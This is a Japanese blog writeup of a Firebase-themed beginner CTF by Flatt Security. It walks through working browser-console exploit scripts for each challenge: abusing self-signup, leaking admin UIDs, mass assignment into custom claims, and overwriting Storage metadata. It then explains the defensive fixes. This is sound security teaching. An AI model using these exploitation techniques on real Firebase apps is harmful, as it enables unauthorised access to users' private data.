📌

Flatt Security mini CTF #5 Writeup

2024/06/19に公開

はじめに

先日、株式会社Flatt Securityさんの主催する初中級者向けのCTFに参加してきました!
私が解けた問題は2問(ティザー問題除く)でした!
本記事では振り返りも兼ねてWriteupと感想を書いていこうと思います。
https://flatt.connpass.com/event/320629/

今回のCTF

今回のCTFはFirebaseがテーマとなっていました。

Firebaseとは?

Googleが提供するアプリ開発プラットフォームです。
BaaS(Backend as a service)の一つであり、ユーザー認証やファイルストレージなどのバックエンドに関する様々な機能を手軽に実装できます。
https://firebase.google.com/?hl=ja

Firebaseはモダンで便利なサービスである一方、セキュリティの注意点が広く知られておらず、設定不備による脆弱性が発生しやすいサービスであるとも言えます。
CTF問題は開発者にも優しい難易度となっているため、皆さんもぜひ問題に取り組みながら記事を読んでみてください。
(問題は後日公開されるそうです!)
問題: https://github.com/flatt-security/mini-ctf/tree/main/2024-06-firebase

環境構築方法
git clone https://github.com/flatt-security/mini-ctf.git
cd mini-ctf/2024-06-firebase/chall-00/frontend  # ティザー問題
firebase login

ここで、https://console.firebase.google.com/ にアクセスし、アプリの登録まで進めます。
アプリを登録するとProject IDが取得できるため、.firebasercに記載されている"flatt-minictf-practice"を自分のIDに書き換えましょう。

.firebaserc
{
  "projects": {
    "default": "自分のProject ID"
  }
}

次に、FirebaseコンソールからCloud Firestoreに行き、データベースを作成します。(Start in production modeを選択)

そして、次のコマンドを入力するとデプロイできます。

pwd  # 2024-06-firebase/chall-0X/frontend
npm install vue-tsc
npm run build
firebase deploy

Hosting URL:に記されたURLにアクセスしましょう!

フラグの表示も行いたい場合は、Cloud Firestoreでコレクションとドキュメントを設定しましょう。(add-flag.jsを参考にしてください)

二回目以降の環境構築の際は前回のデプロイの取り消しが必要になります。

firebase hosting:disable

補足

  • chall-01ではAuthenticationメニューからEmail/Password認証の許可が必要になります
  • chall-02ではコレクションにpublicPostsとprivatePostsの設定が必要になります(add-flag.jsを参照)
  • chall-03とchall-04はCloud Functionが必要になるため課金が必要になるみたいです。(eslintエラーはfirebase.jsonのpredeployの箇所を消すと解決します)

Writeup

ティザー問題

ティザー問題は、Firebaseに関する基礎知識が書かれたWebサイトとともに配布されました。

この問題のフラグは add-flag.js を読むと分かる通り flags コレクションの flag ドキュメントに格納されているので、これまでのコードを組み合わせてアクセスしてみましょう。

問題ファイルの抜粋
add-flag.js
(async () => {
  /**
   * REDACTED
   */

  const FLAG = "<REDACTED>"
  await firebase.firestore().collection('flags').doc('flag').set({
    flag: FLAG
  });
})();
firebase.ts
import { initializeApp } from 'firebase/app';

export const firebaseApp = initializeApp({
  apiKey: 'AIzaSyBTn0 ...',
  ...[以下略]
});
firestore.rules
rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read;
    }
  }
}
解説
  1. ブラウザのDevToolsからConsoleタブを開く
  2. 次のコードを入力することで、Firebaseの様々な関数が使用できるようになる
    firebase.js
      (async () => {
         const load = (url) =>
           new Promise((resolve) => {
             const script = document.createElement("script");
             script.setAttribute("src", url);
             script.onload = resolve;
             document.body.appendChild(script);
           });
    
         await load("https://www.gstatic.com/firebasejs/8.10.1/firebase.js");
       })();
    
  3. firebase.initializeApp を呼び出し、アプリがデプロイされているFirebaseと通信を行えるようにする
    この設定の内容は配布ファイルのfirebase.ts、または、https://<Firebaseアプリのドメイン名>/__/firebase/init.jsにアクセスすることで手に入る。
    firebase.ts
    firebase.initializeApp({
      apiKey: 'AIzaSyBTn0 ...',
      ..[以下略]
    });
    
  4. add-flag.jsを確認し、Flagの格納場所を確認する
    add-flag.js
    (async () => {
       /**
        * REDACTED
        */
     
       const FLAG = "<REDACTED>"
       await firebase.firestore().collection('flags').doc('flag').set({
         flag: FLAG
       });
     })();
    
  5. 次のコードでFirestoreからflagを取得する
    (async () => {
       const doc = await firebase.firestore().collection('flags').doc('flag').get();
       console.log(doc.data());
    })();
    
flag{w31c0m3_70_f1477_53cur17y_f1r3b453_m1n1_c7f}
-> welcome_to_flatt_security_firebase_mini_ctf
-> Flatt Security Firebase mini CTF へようこそ!

Internal(warmup)

秘密の FLAG を管理するための社内向けアプリケーションを実装してみました。 アカウントは招待制なので登録もログインできないと思いますよ。

問題画面

問題ファイルの抜粋
add-flag.js
(async () => {
  /**
   * REDACTED
   */

  const FLAG = "<REDACTED>"
  await firebase.firestore().collection('flags').doc('flag').set({
    flag: FLAG
  });
})();
firestore.rules
rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {
    match /flags/flag {
      allow get: if (
        request.auth != null &&

        // メールアドレスのドメインが @flatt.example.test ではない場合は拒否
        request.auth.token.email.matches("^.+@flatt.example.test$")
      );
    }
  }
ヒント

ヒント1
自分から Firebase Authentication 上にアカウントを作成する方法はないでしょうか?

ヒント2
https://firebase.google.com/docs/auth/web/password-auth?hl=ja

ヒント3

(async () => {
 const load = (url) =>
   new Promise((resolve) => {
     const script = document.createElement("script");
     script.setAttribute("src", url);
     script.onload = resolve;
     document.body.appendChild(script);
   });
 await load("https://www.gstatic.com/firebasejs/10.7.0/firebase-app-compat.js");
 await load("https://www.gstatic.com/firebasejs/10.7.0/firebase-auth-compat.js");
 await load("https://www.gstatic.com/firebasejs/10.7.0/firebase-firestore-compat.js");
 
 firebase.initializeApp({
   apiKey: "AIzaSyDCCJ2lTAU79fC2URzG8ndw1Ee-4qvO3CM",
   authDomain: "flatt-minictf-internal.firebaseapp.com",
   projectId: "flatt-minictf-internal",
   storageBucket: "flatt-minictf-internal.appspot.com",
   messagingSenderId: "662671516916",
   appId: "1:662671516916:web:8ca0e3a5fd923f4ccaaaa1"
 });

 // アカウントを作成して、フラグを取得する
 // ...
})();

ヒント4
https://firebase.google.com/docs/auth/web/password-auth?hl=ja#create_a_password-based_account

解説

問題文の通り、サインアップボタンも無ければ既存ユーザーのパスワードもないため、ログインすることができない。
ここで「自分から Firebase Authentication 上にアカウントを作成する方法」とやらを検索する。
->https://firebase.google.com/docs/auth/web/password-auth?hl=ja

createUserWithEmailAndPassword関数を用いることで新しいユーザーが作成できる。

firestore.rulesを見ると、get処理を行うための条件として次の二つが書かれている。

  • request.authが存在する
  • メールアドレスが「@flatt.example.test」で終わる
firestore.rules
rules_version = '2';

service cloud.firestore {
 match /databases/{database}/documents {
   match /flags/flag {
     allow get: if (
       request.auth != null &&

       // メールアドレスのドメインが @flatt.example.test ではない場合は拒否
       request.auth.token.email.matches("^.+@flatt.example.test$")
     );
   }
 }
}

つまり、「@flatt.example.test」で終わる適当なメールアドレスを登録することでflagを読み取ることができる。

 

  1. ライブラリをインポートする && Firebase SDKの基本設定をする
    (ティザー問題を参照)
  2. 「@flatt.example.test」で終わるメールアドレスでユーザーを作成する
  3. 作成したユーザーでサインインする
  4. ドキュメントを取得する
    (async () => {
      const email = 'example@flatt.example.test';  // @flatt.example.testで終わる適当なemailを入力
      const password = 'password';
    
      // ユーザーを作成
      await firebase.auth().createUserWithEmailAndPassword(email, password);
      console.log('User created successfully');
    
      // サインイン
      await firebase.auth().signInWithEmailAndPassword(email, password);
      console.log('User signed in successfully');
      
      // ドキュメントを取得
      const doc = await firebase.firestore().collection('flags').doc('flag').get();
      console.log(doc.data());
    })();
    
flag{b3_c4r3ful_w17h_53lf_516nup}
-> be careful with self signup
-> 自己サインアップには注意しよう!
(自己サインアップ: 本来のユーザ登録フローを経由せずに、APIを用いてユーザ登録を行うこと)

Posts(easy)

秘密にしたい投稿もありますよね。

問題画面(サインイン後)

問題ファイルの抜粋
add-flag.js
(async () => {
  /**
   * REDACTED
   */

  await firebase.auth().createUserWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
  await firebase.auth().signInWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
  const adminUserId = firebase.auth().currentUser.uid;

  const FLAG = "<REDACTED>"
  await firebase.firestore().collection('publicPosts').add({
    name: 'admin@flatt.tech',
    body: "Hello, I'm admin!",
    createdBy: adminUserId,
  });
  await firebase.firestore().collection('privatePosts').doc('0').collection(adminUserId).add({
    name: 'FLAG',
    body: FLAG,
    createdBy: adminUserId,
  });
})();
firestore.rules
rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {
    function checkSchema() {
      let incoming = request.resource.data;

      return (
        incoming.keys().hasAll(['name', 'body', 'createdBy']) &&
        incoming.keys().hasOnly(['name', 'body', 'createdBy']) &&
        incoming.name is string &&
        incoming.name != "admin@flatt.tech" &&
        incoming.body is string &&
        incoming.body.size() >= 1 &&
        incoming.createdBy is string &&
        incoming.createdBy == request.auth.uid
      );
    }

    match /publicPosts/{postId} {
      allow read: if (
        request.auth != null
      );

      allow create: if (
        request.auth != null &&
        checkSchema()
      );
    }

    match /privatePosts/0/{uid}/{postId} {
      allow read: if (
        request.auth != null
      );

      allow create: if (
        request.auth != null &&
        checkSchema() &&
        uid == request.auth.uid
      );
    }
  }
}
ヒント

ヒント1
フラグは /privatePosts/0/<adminのユーザーID> コレクション内にあるようです

ヒント2
どこかに admin のユーザーIDが書き込まれていないでしょうか?

解説
  • add-flag.jsを見ると、privatePostsコレクション内の0ドキュメントの中のadminUserIdコレクション内にFLAGが含まれている。
add-flag.js
 await firebase.firestore().collection('privatePosts').doc('0').collection(adminUserId).add({
   name: 'FLAG',
   body: FLAG,
   createdBy: adminUserId,
 });
  • adminUserIdpublicPostsコレクション内のcreatedByの値にも含まれている
add-flag.js
  await firebase.firestore().collection('publicPosts').add({
  name: 'admin@flatt.tech',
  body: "Hello, I'm admin!",
  createdBy: adminUserId,
});
  • firestore.rulesを見てみると、/publicPosts/{postId}はサインインしているユーザーであれば誰でも読み取れる
firestore.rules
match /publicPosts/{postId} {
  allow read: if (
    request.auth != null
  );
  • /privatePosts/0/{uid}/{postId}uidが分かれば誰でも閲覧できる
     allow read: if (
       request.auth != null
     );

 
したがって、解答は次のようになる。

(async () => {
  // サインインの処理は省略

  // ドキュメントを取得 -> 目視でadminUserIdを確認
  const snapshot = await firebase.firestore().collection('publicPosts').get();
  snapshot.docs.forEach(doc => console.log(doc.data()));  // collectionから.getするときはforEach
  
  // adminUserIdを追加してFlagを取得
  const doc = await firebase.firestore().collection('privatePosts').doc('0').collection('e3rd5IxFaOeTb6yFGsA2IRFEw9V2').get();
  doc.docs.forEach(doc => console.log(doc.data()));
})();

 

flag{pl5_ch3ck_r3qu357_4u7h_u1d_pr0p3rly}
-> please check request auth uid properly
-> リクエストの認証UIDを正しく確認してください

Flatt Clicker(medium)

たくさんクリックしましょう

問題画面(サインイン後)

問題ファイルの抜粋
index.ts
import * as functions from "firebase-functions";
import {getAuth} from "firebase-admin/auth";

// 省略

export const updateTier = functions
  .firestore
  .document("/users/{userId}")
  .onUpdate(async (change, ctx) => {
    const data = change.after.data();
    try {
      let tier;

      if (data.clicks < 10) {
        tier = "BRONZE";
      } else if (data.clicks < 100) {
        tier = "SILVER";
      } else if (data.clicks < 3133333337) {
        tier = "GOLD";
      } else {
        tier = "HACKER";
      }

      await getAuth().setCustomUserClaims(ctx.params.userId, {
        tier,
        ...data,
      });

      return "OK";
    } catch (e) {
      functions.logger.error(e);
      throw new functions.auth.HttpsError("unavailable", String(e));
    }
  });
add-flag.js
(async () => {
  /**
   * REDACTED
   */

  const FLAG = "<REDACTED>"
  await firebase.firestore().collection('flags').doc('flag').set({
    flag: FLAG,
  });
})();
firestore.rules
rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {
    match /users/{uid} {
      allow get: if (
        request.auth != null &&
        request.auth.uid == uid
      );

      allow update: if (
        request.auth != null &&
        request.auth.uid == uid &&
        request.resource.data.keys().hasAll(['clicks']) &&
        request.resource.data.clicks is int &&
        request.resource.data.clicks == resource.data.clicks + 1
      );
    }


    match /flags/flag {
      allow get: if (
        request.auth != null &&
        request.auth.token.tier == 'HACKER'
      );
    }
  }
}
ヒント

ヒント1
tier を更新する方法を調査してみましょう

ヒント2
Firestore では clicks フィールドがインクリメントされていることが確認されています。では、その他のフィールドに関するルールは定義されているでしょうか?

解説
  • add-flag.jsを見ると、flagsコレクション内のflagドキュメントにアクセスすれば良いことが分かる
add-flag.js
await firebase.firestore().collection('flags').doc('flag').set({
   flag: FLAG,
});
  • firebase.rulesを見るとflagを読み取るには、「サインインしている」ことと「tierの値が'HACKER'である」ことを検証している
firebase.rules
match /flags/flag {
     allow get: if (
       request.auth != null &&
       request.auth.token.tier == 'HACKER'
     );
   }
  • index.tsを見ると、click数が3133333337以上だとtier = "HACKER"になることが分かる
index.ts
let tier;

if (data.clicks < 10) {
 tier = "BRONZE";
} else if (data.clicks < 100) {
 tier = "SILVER";
} else if (data.clicks < 3133333337) {
 tier = "GOLD";
} else {
 tier = "HACKER";
}
  • firestore.rulesを見るとデータの更新時にclickの検証が行われているため、click数の大幅な上書きができない
    (while文を使えば自動で書き換えが可能だが、APIリクエスト数が増えてFirebase使用料金がとんでもないことになってしまう)
firebase.rules
match /users/{uid} {
 //略   

 allow update: if (
   request.auth != null &&
     request.auth.uid == uid &&
     request.resource.data.keys().hasAll(['clicks']) &&
     request.resource.data.clicks is int &&
     request.resource.data.clicks == resource.data.clicks + 1
 );
}
  • index.tsをもう一度見ると、入力値がスプレッド構文で代入されている
    (Mass assignment脆弱性につながる)

    Mass assignment脆弱性とは?

    ユーザーからの入力データをオブジェクトのプロパティに一括で割り当てる際に発生する脆弱性。
    data{tier: "HACKER", click: 4}を代入することで、先に代入されているtierの値が上書きされてしまう。

    index.ts
    await getAuth().setCustomUserClaims(ctx.params.userId, {
      tier: "BRONZE",
      {
        tier: "HACKER",
        click: 4
      }
    });
    
await getAuth().setCustomUserClaims(ctx.params.userId, {
 tier,
 ...data,
});

 
したがって、解答は次のようになる。

(async () => {
  // サインインの処理は省略

  // サインインしたユーザーの情報を取得
  const user = firebase.auth().currentUser;
  const uid = user.uid;

  // Firestoreからドキュメントを取得
  const docRef = firebase.firestore().collection('users').doc(uid);
  const doc = await docRef.get();
  const userData = doc.data();
  console.log('Current data:', userData);

  // ドキュメントのデータを更新する(クリック数をインクリメント)
  await docRef.update({  // 値の更新にはdocへの参照が必要(中身のJSONは要らない)
    clicks: userData.clicks + 1,  // セキュリティルールを満たすためにclicksフィ>ールドをインクリメント
    tier: 'HACKER'
  });

  // トークンの更新を強制する
  await user.getIdToken(true);

  // 更新後のデータを再度取得して表示
  const updatedDoc = await docRef.get();
  const updatedData = updatedDoc.data();
  console.log('Updated data:', updatedData);

  // ドキュメントを取得
  const doc_flag = await firebase.firestore().collection('flags').doc('flag').get();
  console.log(doc_flag.data());
})();

 

flag{m455_m455_m455_45516nm3n7}
-> mass_mass_mass_assignment
-> mass assignment脆弱性

NoteExporter(hard)

大事なデータは Cloud Storage にエクスポートすると安心!

問題画面(サインイン後)


問題ファイルの抜粋
index.ts
export const createLog = functions
  .region("asia-northeast1")
  .firestore
  .document("users/{userId}/notes/{noteId}")
  .onCreate(async (snapshot) => {
    try {
      await getFirestore().collection("logs").add({
        path: snapshot.ref.path,
        createdAt: new Date().toISOString(),
      });
    } catch (e) {
      functions.logger.error(e);
      throw new functions.auth.HttpsError("unavailable", String(e));
    }
  });

export const exportNote = functions
  .https
  .onCall(async (data, ctx) => {
    try {
      if (!ctx.auth) {
        throw new functions.auth.HttpsError("permission-denied", "error");
      }

      const doc = await getFirestore().doc(data.path).get();
      const docData = doc.data();

      if (docData === undefined) {
        throw new functions.auth.HttpsError("unavailable", "error");
      }

      const bucket = getStorage().bucket();
      const userId = doc.ref.path.split("/")[1];
      const storagePath = `exports/${userId}/${uuidv4()}.json`;
      await bucket.file(storagePath).save(JSON.stringify(docData));

      const adminUserId = (
        await getAuth().getUserByEmail("admin@flatt.tech")
      ).uid;
      await bucket.file(storagePath).setMetadata({
        metadata: {
          allowedUserId: adminUserId,
        },
      });

      return {
        storagePath,
      };
    } catch (e) {
      functions.logger.error(e);
      throw new functions.auth.HttpsError("unavailable", String(e));
    }
  });
add-flag.js
(async () => {
  /**
   * REDACTED
   */

  await firebase.auth().createUserWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
  await firebase.auth().signInWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
  const adminUserId = firebase.auth().currentUser.uid;

  const FLAG = "<REDACTED>"
  await firebase.firestore().collection('users').doc(adminUserId).collection('notes').add({
    note: FLAG,
  });
})();
firestore.rules
rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {
    match /users/{userId} {
      allow read: if (
        request.auth != null
      );

      match /notes/{noteId} {
        allow read: if (
          request.auth != null &&
          request.auth.uid == userId
        );

        allow create: if (
          request.auth != null &&
          request.auth.uid == userId &&
          request.resource.data.note is string &&
          request.resource.data.note.size() >= 1
        );
      }
    }

    match /logs/{logId} {
      allow read: if (
        request.auth != null
      );
    }
  }
}
storage.rules
rules_version = '2';

service firebase.storage {
  match /b/{bucket}/o {
    match /exports/{userId}/{fileName} {
      allow get: if (
        request.auth != null &&
        (
          request.auth.uid == userId ||
          request.auth.uid == resource.metadata.allowedUserId
        )
      );

      // MEMO: 各ユーザーのフォルダは Cloud Functions からしか書き込めないないようにしておく
      allow write: if false;
    }

    // MEMO: それ以外のフォルダは将来的な機能拡張のために書き込めるようにしておく
    match /exports/{free=**} {
      allow write: if (
        request.auth != null &&
        request.resource.size < 5 * 1024
      );
    }
  }
}
ヒント

ヒント1
問題を構成する要素 (Firestore, Cloud Functions, Cloud Storage) についてまずは整理してみましょう。

ヒント2
Cloud Storage のセキュリティルールにおいて /exports/{userId}/{fileName} への書き込みが禁止されているためメタデータの更新ができないように見えますが、何とかして更新する方法はないでしょうか?

解説
  • add-flag.jsを見るとusersコレクション内のadminUserIdドキュメント内のnotesコレクション内にFLAGがある
add-flag.js
await firebase.firestore().collection('users').doc(adminUserId).collection('notes').add({
   note: FLAG,
 });

 

まずfirestore.rulesに着目する

  • firestore.rulesを見ると、/users/{userId}/logs/{logId}の読み取りは許可されている
firestore.rules
match /users/{userId} {
 allow read: if (
   request.auth != null
 );

 // 略
}
match /logs/{logId} {
 allow read: if (
   request.auth != null
 );
}
  • /notes/{noteId}の読み取りには、uidの一致が求められる
    =>今回書き換えは難しそう
firestore.rules
match /notes/{noteId} {
 allow read: if (
   request.auth != null
   request.auth.uid == userId
 );

 

  • 一旦情報を整理する
    • /users/{userId}と/logs/{logId}の読み取りは可能
    • /notes/{noteId}の読み取りは難しそう
       

次にstorage.rulesに着目する

  • storage.rulesを見ると自分のファイルに限り、/exports/{userId}/{fileName}の取得が可能
    match /exports/{userId}/{fileName} {
      allow get: if (
        request.auth != null &&
        (
          request.auth.uid == userId ||
          request.auth.uid == resource.metadata.allowedUserId
        )
      );
    
  • また、/exports/{userId}/{fileName}の書き込みは禁止されているが、その後/exports/{free=**}のルールによって前述のwriteルールが上書きされている
     
    つまり、/exports/{userId}/{fileName}も書き込み可能となる
    (サインイン済み かつ ファイルサイズが5*1024以下の場合)
    // MEMO: 各ユーザーのフォルダは Cloud Functions からしか書き込めないないようにしておく
      allow write: if false;
    }
    // MEMO: それ以外のフォルダは将来的な機能拡張のために書き込めるようにしておく
    match /exports/{free=**} {
      allow write: if (
        request.auth != null &&
        request.resource.size < 5 * 1024
      );
    }
    

 

  • 一旦情報を整理する
    • /users/{userId}と/logs/{logId}の読み取りは可能
    • /notes/{noteId}の読み取りは難しそう
    • /exports/{userId}/{fileName}は自分のファイルに限り、閲覧可能
    • /exports/{userId}/{fileName}は他人のファイルも書き換え可能
       

最後に、手を動かしながら情報を集める

  • Webの挙動
    このアプリはメッセージをPOSTすると、内容がWeb上に保存され、ファイルにエクスポートできるというものである。
    エクスポートすると、ファイル名が画面上に表示される。

  • ファイル名がどのように定義されるのかを調べる

    index.ts(一部省略)
    export const exportNote = functions
      .https
      .onCall(async (data, ctx) => {
        try {
          const doc = await getFirestore().doc(data.path).get();
          const docData = doc.data();
    
          const bucket = getStorage().bucket();
          const userId = doc.ref.path.split("/")[1];
          const storagePath = `exports/${userId}/${uuidv4()}.json`;
          await bucket.file(storagePath).save(JSON.stringify(docData));
    

    このコードより、ファイル名から自分のuserIdが取得できることが分かる。
    また、そのままコードを読むと、adminUserIdが全ユーザーのファイルのメタデータに含まれていることに気づく

  • adminUserIdを調べる
    index.tsには以下のような記述がある。

    index.ts(一部省略)
    export const exportNote = functions
      .https
      .onCall(async (data, ctx) => {
        // 略
        const userId = doc.ref.path.split("/")[1];
        const storagePath = `exports/${userId}/${uuidv4()}.json`;
        await bucket.file(storagePath).save(JSON.stringify(docData));
    
        const adminUserId = (
          await getAuth().getUserByEmail("admin@flatt.tech")
        ).uid;
        await bucket.file(storagePath).setMetadata({
          metadata: {
            allowedUserId: adminUserId,
          },
        });
    
        return {
          storagePath,
        };
    

    このコードより、自分のファイルをエクスポートし、そのオブジェクトを調べることでadminUserIdが取得できることが分かる。

  • log作成の処理を調べる
    index.tsには以下のような記述がある。

    index.ts(一部省略)
    export const createLog = functions
      .region("asia-northeast1")
      .firestore
      .document("users/{userId}/notes/{noteId}")
      .onCreate(async (snapshot) => {
        try {
          await getFirestore().collection("logs").add({
            path: snapshot.ref.path,
            createdAt: new Date().toISOString(),
          });      
    

    logにはusers/{userId}/notes/{noteId}のパス名が記述されることが分かる。
    つまり、adminUserIdを特定して検索を掛ければadminのnoteIdも取得できることが分かる。

 

  • 一旦情報を整理する

    • /users/{userId}/logs/{logId}の読み取りは可能
    • /notes/{noteId}の読み取りは難しそう
    • /exports/{userId}/{fileName}は自分のファイルに限り、閲覧可能
    • /exports/{free=**}は他人のファイルも書き換え可能
    • adminUserIdとadminのnoteIdは取得可能
       
  • 方針を考える

    1. adminユーザーのファイル(/notes/{noteId})を特定し、exportさせる
      • /notes/{noteId}からの直接読み取りができない
      • /exports/{free=**}は書き換え可能のため、他人のファイルもexportできる
    2. exportしたファイルの情報を自分のものに書き換える
      • /exports/{free=**}は書き換え可能
      • /exports/{userId}/{fileName}は自分のファイルに限り、閲覧可能のため、request.auth.uidを書き換えて自分のものにする
    3. adminのファイルをgetし、フラグを読み取る

 
したがって、解答は次のようになる。

(async () => {
  // サインインの処理は省略
  
  // ファイルをexportし、storagePathを取得する
  const userId = 'FHQ19N4TX1fK4QjvJA58Z63YBQ32'
  const result = await firebase.functions().httpsCallable('exportNote')({path: 'users/' + userId})
  console.log('storagePath:', result.data.storagePath);// storagePathを取得
  
  // storagePathのメタデータからadminUserIdを取得
  const metadata = await firebase.storage().ref().child(result.data.storagePath).getMetadata()
  const allowedUserId = metadata.customMetadata.allowedUserId;
  console.log('allowedUserId:', allowedUserId);
  
  // logsからpathにallowedUserIdが含まれているものを探す
  const snapshot = await firebase.firestore().collection('logs').get();
	snapshot.docs.forEach(doc => console.log(doc.data()));
  // {createdAt: '2024-05-28T10:49:12.698Z', path: 'users/6W7jG2C619g4BQggdofcIR2OKZv2/notes/g7xeDRCXpLi59EDUsWBr'}
  // コマンド上でも特定可能: (await firebase.firestore().collection('logs').get()).docs.map(el => el.data()).filter(el => el.path.includes('6W7jG2C619g4BQggdofcIR2OKZv2'))[0]
  const adminFileNote = 'users/6W7jG2C619g4BQggdofcIR2OKZv2/notes/g7xeDRCXpLi59EDUsWBr'
  
  // ファイルをエクスポートする
  const admin_file = await firebase.functions().httpsCallable('exportNote')({path: adminFileNote})
	const adminStoragePath = admin_file.data.storagePath
	console.log(adminStoragePath)
	
  // metadataを書き換えて、自分のuserIdに書き換える(.jsonに注意)
  await firebase.storage().ref().child(adminStoragePath).updateMetadata({customMetadata: {allowedUserId: userId}})
  
  // データにアクセスする
  const url = await (await firebase.storage().ref().child(adminStoragePath).getDownloadURL())
	console.log(url)
})();
flag{7h4nk_y0u_f0r_pl4y1n6!!!}
-> Thank you for playing!!!

CTFから得られた学び

・ ティザー問題

  • initializeAppに含まれる情報は外部からも取得できる場合がある

    FirebaseのAPIキーは機密情報ではないため、APIキーが取得されたとしてもなお安全であると言えるような対策を行う必要があります。
    https://blog.flatt.tech/entry/firebase_vulns_10

・ Internal

  • サインアップボタンがなくともAPIを用いてユーザーが作成できる場合がある
  • 限られたユーザーのみアクセスを許可したい場合は、「自己サインアップの拒否」か「正規のユーザ作成フローを識別するカスタムクレームの作成」を行う
  • メールアドレスを用いたアクセス制御をする場合は、確認用のメールを送信して検証する
  • セキュリティルールにメールアドレスの所有確認を追加する

この問題の脆弱性に関する詳しい解説はFlatt SecurityブログのFirebase利用時に発生しやすい脆弱性とその対策10選をご参照ください。

・ Posts

  • 重要な情報は公開情報に含めない(createdByの値にadminUserIdを含めない)
  • セキュリティルールをより厳格に記述する(request.auth != nullだけでは不十分)

・ Flatt Clicker

  • カスタムクレームの変更にはFirebase Admin SDKが必要のため、セキュリティルールで入力値を検証すれば改竄されない
    request.resource.data.clicks == resource.data.clicks + 1
    
  • hasOnlyを用いて、入力値に想定しないフィールドが存在しないかの検証を行う
     request.resource.data.keys().hasAll(['clicks']) &&
     request.resource.data.keys().hasOnly(['clicks'])
    
  • 入力値を検証せずにそのまま代入しないようにする
    await getAuth().setCustomUserClaims(ctx.params.userId, {
      tier,
      data.clicks,  // 修正: ...dataを使用しない
    });
    

・ NoteExporter

  • セキュリティルールのパスは重複しないように細かい制御を行う

    /private/{document=**}/{document=**}よりも厳密にリクエストのパスにマッチするから、といった理由で特定のルールが優先されることはありません。
    https://blog.flatt.tech/entry/2020/04/10/122834

株式会社Flatt Securityについて

今回CTFを主催してくださったFlatt Securityさんは技術ブログを多数公開しています。

Firebaseに関係する技術ブログ

他にも、CTFイベントや勉強会などを開催しています(https://flatt.connpass.com/)

また、専門のセキュリティエンジニアによるFirebaseに対する脆弱性診断サービスを提供しています。ぜひチェックしてみてください。

おわりに

Flatt Security mini CTF #5とても楽しかったです!
難易度も初心者に優しく、1時間楽しく悩み続けることができました。
CTF競技後には歓談の時間も設けられ、他のCTFプレイヤーや社員・アルバイトの方々と色々なお話をすることができました。
皆さんも次回イベントにぜひ参加してみてください👍

Discussion